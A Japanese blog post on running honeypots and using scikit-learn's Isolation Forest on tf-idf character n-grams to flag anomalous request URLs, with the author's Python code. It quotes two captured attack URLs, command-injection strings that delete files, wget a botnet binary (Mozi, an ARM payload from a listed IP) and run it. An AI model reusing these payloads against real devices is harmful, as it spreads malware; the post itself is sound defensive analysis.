#11 Anomaly Detection
第11週。
またハニーポットが止まりました。今度は容量不足です。100GBのサーバーを借りてるのですが、Dionaeaに90GB持って行かれました。運用を始めて1ヶ月ちょっとですが、想定以上にログがたまっていて、解析が間に合いません。
こっちは遊びでやっているので大丈夫ですが、実際にサービスを運用していて、脅威分析などセキュリティ対応が必要となる場合もあります。この量の情報は人手ではさばけないでしょう。近頃は、機械学習を使った異常検知など実用化され、サイバー攻撃の早期検出に役立っていると聞きます。せっかくログがたくさんあるので、やってみましょう。
目標
大量のログを機械学習でさばく
ハニーポットの性質上、攻撃データが9割以上という偏ったデータセットとなっています。その他のデータを集める時間もないので、これでいきます。なにかおもしろいことができそうな気がしますが、思いつかないので、とりあえず動かしてみます。
環境
Python 3.8.2
scikit-learn 1.0.2
方針
ラベリングする時間がないので、教師なし学習で異常検知ができるIsoration Forestというアルゴリズムを使ってみます。
//wowhoneypot access_log
[2022-02-01 00:40:16+0900] xx.xx.xx.xx xx.xx.xx.xx:80 "GET /.env HTTP/1.1" 200 False R0VUIC8uZW52...<base64 request>
[2022-02-01 00:40:16+0900] xx.xx.xx.xx xx.xx.xx.xx:80 "POST / HTTP/1.1" 200 False UE9TVCAvIEh...<base64 request>
こんな感じでアクセスログが残っています。普通のアクセスログとちがって、リクエストの全容がbase64で記録されているため、捗ります。
リクエストURLに着目して、普通の攻撃とはちがった趣向のものを検出します。ざっとログを見渡すと、似たようなアクセスがたくさん来ているのですが、いろいろ試行錯誤して攻撃の糸口を探しているようなときは、
"GET /shell?cd+/tmp;rm+-rf+*;wget+http://xx.xx.xx.xx:34146/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
このような際立ったURLになると考えられます。機械的な物量攻撃よりもこちらの方がよほど危ない感じがします。N-gram x tf-idfを使ってURL文字列をベクトル化し、Isoration Forestで外れ値を検出するという方針でいきます。
作業
まず、Python環境を整えます。
$ pyenv install 3.8.2
$ pyenv global 3.8.2
$ pip install --upgrade pip
$ pip install numpy pandas scikit-learn
あとは、ログファイルからURL文字列を抽出してベクトル化し、学習させるだけです。
#main.py
import glob
from formatter import Formatter
from classifier import Classifier
def main():
fm = Formatter()
#ファイル読み込み。整形して一時ファイルに書き込んでいる
files = glob.glob("./data/row/*")
for file in files:
fm.write(file)
#一時ファイルを読み込んで配列にする
data = fm.read()
clf = Classifier()
#ベクトル化して学習
clf.train(data)
#結果を表示
pred = clf.predict(data)
for z in zip(data, pred):
print(z)
if __name__ == "__main__":
main()
#formatter.py
import re
class Formatter:
#ログから必要な情報を抽出して一時ファイルに書き込む
def __init__(self):
''' file to write '''
self.write_path = "./data/formatted.txt"
''' columns to pick '''
self.columns = [4, 5, 9] # method, path, request
''' characters to remove '''
self.remove = '[]"'
''' delimiter of file'''
self.delimiter = " "
''' newline '''
self.newline = "\n"
def log2array(self, path):
with open(path) as f:
data = f.read()
data = re.sub('[\[\]\"]', "", data)
lines = data.split(self.newline)
lines = lines[:-1]
separated = [l.split(" ") for l in lines]
return separated
def filter(self, line):
if line[5] == "/":
return False
return True
def format(self, log_array):
res = []
for l in log_array:
if self.filter(l):
f = [l[i] for i in self.columns]
res.append(f)
return res
def write(self, path):
arr = self.format(self.log2array(path))
text = ""
for l in arr:
str = self.delimiter.join(l) + self.newline
text += str
print("begin to write a file")
with open(self.write_path, 'a') as f:
f.write(text)
print("done")
def read(self):
data = self.log2array(self.write_path)
return data
#classifier.py
import numpy as np
import pandas as pd
import pickle
from sklearn.ensemble import IsolationForest
from sklearn.feature_extraction.text import TfidfVectorizer
class Classifier:
#データのベクトル化・分類器の学習・予測
def __init__(self):
self.clf = IsolationForest()
self.row = 1
self.dict = dict()
self.limit = 100
def vectorize(self, data):
options = {
"ngram_range" : (1,1),
"analyzer" : "char",
"min_df" : 0.1
}
vec = TfidfVectorizer(**options)
df = pd.DataFrame(data=data)
x = vec.fit_transform(df[self.row])
return x
def train(self, data):
x = self.vectorize(data)
self.clf.fit(x)
def predict(self, data):
x = self.vectorize(data)
pred = self.clf.predict(x)
return pred
試行錯誤しながらなので、無駄があるかもしれませんがご容赦ください。
<project dir>/data/row以下にログファイルを置くと、読み込んで学習し結果の表示まで行います。
// [メソッド, URL, Base64リクエスト], 結果
(['GET', '/manager/html', 'R0VUIC9tYW...<base64 request>'], 1)
(['GET', '/shell?cd+/tmp;rm+-rf+*;wget+%20212.192.216.46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws', 'R0VUIC9zaGVsbD9...<base64 request>'], -1)
結果は1が正常(よくあるパターン)、-1が異常値です。/manager/htmlというアクセスは大量に来ていたので、この結果は期待通りと言えるでしょう。もちろん、検知能力はデータの質に左右されるため、適切にデータクレンジングを行ったり、より多くのデータを集めたりとまだまだできることはありそうですが、とりあえず動くものが作れました。
まとめ
機械学習は、PCスペックも求められるし、ややこしい計算が多いしで、ハードルが高い印象がありました。今回触ってみて、参考書籍やネットの情報も充実しており、またフレームワークも使いやすくなっているような印象を受けました。Google Collabなどのサービスを利用すれば、自分では買えない最強の環境で遊べます。少し工夫をすれば、日々の作業を効率化できるのではないでしょうか。まだまだ使っていないログがあるので、いじくりまわしてみます。
EOF